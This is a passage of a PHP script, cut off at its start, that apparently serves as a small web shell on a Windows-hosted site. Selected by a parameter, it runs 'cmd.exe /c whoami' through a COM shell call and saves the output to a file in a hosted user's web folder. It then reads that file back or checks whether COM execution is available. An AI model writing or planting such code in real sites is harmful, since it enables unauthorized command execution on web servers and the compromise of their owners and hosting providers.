Run('cmd.exe /c whoami > H:/root/home/maheralsharafi-001/www/kmsu/result/who.txt', 0, true); echo 'ran:'.$o; } elseif($x==='2'){ echo file_get_contents('H:/root/home/maheralsharafi-001/www/kmsu/result/who.txt'); } else { echo 'class COM exists: '; var_dump(class_exists('COM')); echo ' com_loaded: '; var_dump(extension_loaded('com_dotnet')); } ?>